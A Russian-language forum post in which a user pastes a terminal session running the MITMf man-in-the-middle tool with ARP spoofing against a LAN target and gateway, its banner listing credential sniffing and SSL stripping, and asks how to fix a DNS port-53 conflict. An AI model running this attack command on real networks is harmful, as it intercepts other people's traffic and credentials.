Предупреждение и занят порт

[Ильдар Зиганшин]

Доброго времени суток!

ildar@ROBOT-1:~/MITMf$ sudo python mitmf.py -i wlp3s0 --spoof --arp --target 192.168.88.226 --gateway 192.168.88.1
/usr/local/lib/python2.7/dist-packages/bs4/element.py:16: UserWarning: The soupsieve package is not installed. CSS selectors cannot be used.
  'The soupsieve package is not installed. CSS selectors cannot be used.'
                                                    
 __  __   ___   .--.          __  __   ___              
|  |/  `.'   `. |__|         |  |/  `.'   `.      _.._  
|   .-.  .-.   '.--.     .|  |   .-.  .-.   '   .' .._| 
|  |  |  |  |  ||  |   .' |_ |  |  |  |  |  |   | '     
|  |  |  |  |  ||  | .'     ||  |  |  |  |  | __| |__   
|  |  |  |  |  ||  |'--.  .-'|  |  |  |  |  ||__   __|  
|  |  |  |  |  ||  |   |  |  |  |  |  |  |  |   | |     
|__|  |__|  |__||__|   |  |  |__|  |__|  |__|   | |     
                       |  '.'                   | |     
                       |   /                    | |     
                       `'-'                     |_|

[*] MITMf v0.9.8 - 'The Dark Side'
|
|_ Net-Creds v1.0 online
|_ Spoof v0.6
|  |_ ARP spoofing enabled
|_ Sergio-Proxy v0.2.1 online
|_ SSLstrip v0.9 by Moxie Marlinspike online
|
|_ MITMf-API online
|_ HTTP server online
 * Serving Flask app "core.mitmfapi" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://127.0.0.1:9999/ (Press CTRL+C to quit)

[DNS] Unable to start DNS server on port 53: port already in use
ildar@ROBOT-1:~/MITMf$

Как исправить?

У кого без проблем mitmf работает какой дистрибутив использовали?